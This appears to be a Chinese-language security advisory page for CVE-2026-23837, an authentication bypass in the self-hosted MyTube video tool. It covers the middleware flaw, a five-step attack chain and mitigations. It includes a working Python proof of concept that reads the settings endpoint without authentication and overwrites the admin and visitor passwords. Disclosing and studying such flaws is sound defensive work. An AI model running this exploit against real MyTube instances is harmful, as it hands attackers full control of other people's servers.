IPBUF安全漏洞报告
English
CVE-2026-23837 CVSS 9.8 严重

CVE-2026-23837 MyTube 角色认证中间件绕过漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2026-23837
漏洞类型
身份认证绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
MyTube

相关标签

身份认证绕过中间件缺陷MyTubeCVE-2026-23837访问控制权限绕过Web应用安全

漏洞概述

MyTube是一款自托管的视频网站下载和播放工具。在1.7.65版本中,存在严重的身份认证绕过漏洞,源于roleBasedAuthMiddleware中间件的实现缺陷。该中间件在处理未携带认证cookie的请求时(req.user为undefined),错误地将请求传递给下游处理程序而非返回401未授权错误。攻击者无需任何认证即可访问受保护的API端点,包括/api/settings等敏感路由,从而能够修改应用配置、变更管理员和访客密码,完全控制应用程序。此漏洞影响所有启用loginEnabled选项的MyTube实例,CVSS评分高达9.8,属于严重级别。漏洞已于v1.7.66版本修复,开发者建议所有用户立即升级。

技术细节

漏洞根源在于MyTube的roleBasedAuthMiddleware中间件对未认证请求的处理逻辑存在缺陷。正常情况下,中间件应检查req.user是否定义,若用户未认证则返回401 Unauthorized响应。然而在1.7.65及更早版本中,当req.user为undefined时,中间件默认调用next()将请求传递给下游处理器,而非阻止请求。这导致所有依赖该中间件保护的前置路由(如/api/settings、用户管理接口等)均可被未认证用户访问。攻击者只需构造不含Authentication或session cookie的HTTP请求,即可绕过认证机制。漏洞影响所有启用loginEnabled配置项的MyTube实例,攻击者可借此获取管理员权限或篡改应用设置。

攻击链分析

STEP 1
步骤1
攻击者识别目标MyTube实例,确认版本为1.7.65或更早版本,且loginEnabled配置为true
STEP 2
步骤2
攻击者构造HTTP请求访问受保护的API端点(如/api/settings),故意不携带任何认证cookie
STEP 3
步骤3
由于roleBasedAuthMiddleware在req.user为undefined时错误调用next(),请求绕过认证检查到达下游处理器
STEP 4
步骤4
攻击者通过未认证的API请求获取应用配置信息,或修改管理员/访客密码
STEP 5
步骤5
攻击者使用修改后的密码登录后台,获得完整控制权限,执行进一步恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-23837 PoC - MyTube Authentication Bypass # Target: MyTube <= 1.7.65 # Vulnerability: roleBasedAuthMiddleware bypass via missing auth cookie TARGET_URL = "http://target:3000" def check_vulnerability(): """Check if target is vulnerable by accessing settings without auth""" # Step 1: Access /api/settings without authentication cookie url = f"{TARGET_URL}/api/settings" headers = { "Content-Type": "application/json" } # Request without auth cookie - req.user will be undefined response = requests.get(url, headers=headers) if response.status_code == 200: print("[+] VULNERABLE: Settings endpoint accessible without auth") print(f"[+] Response: {response.text}") return True else: print(f"[-] Not vulnerable or target unreachable (Status: {response.status_code})") return False def exploit_settings_change(): """Exploit: Modify admin/visitor password via unprotected API""" url = f"{TARGET_URL}/api/settings" # Payload to change admin password payload = { "adminPassword": "hacked123", "visitorPassword": "hacked" } response = requests.post(url, json=payload) if response.status_code == 200: print("[+] SUCCESS: Passwords modified via unprotected endpoint") return True return False if __name__ == "__main__": print("CVE-2026-23837 MyTube Auth Bypass PoC") print("=" * 50) check_vulnerability() # Uncomment to execute exploit: # exploit_settings_change()

影响范围

MyTube < 1.7.66
MyTube 1.7.65
MyTube 1.7.64及更早版本

防御指南

临时缓解措施
若无法立即升级,可通过防火墙或反向代理(如Nginx)限制对/api/端点的访问,仅允许可信IP地址访问。同时建议检查应用程序日志,排查是否存在异常的未认证访问请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表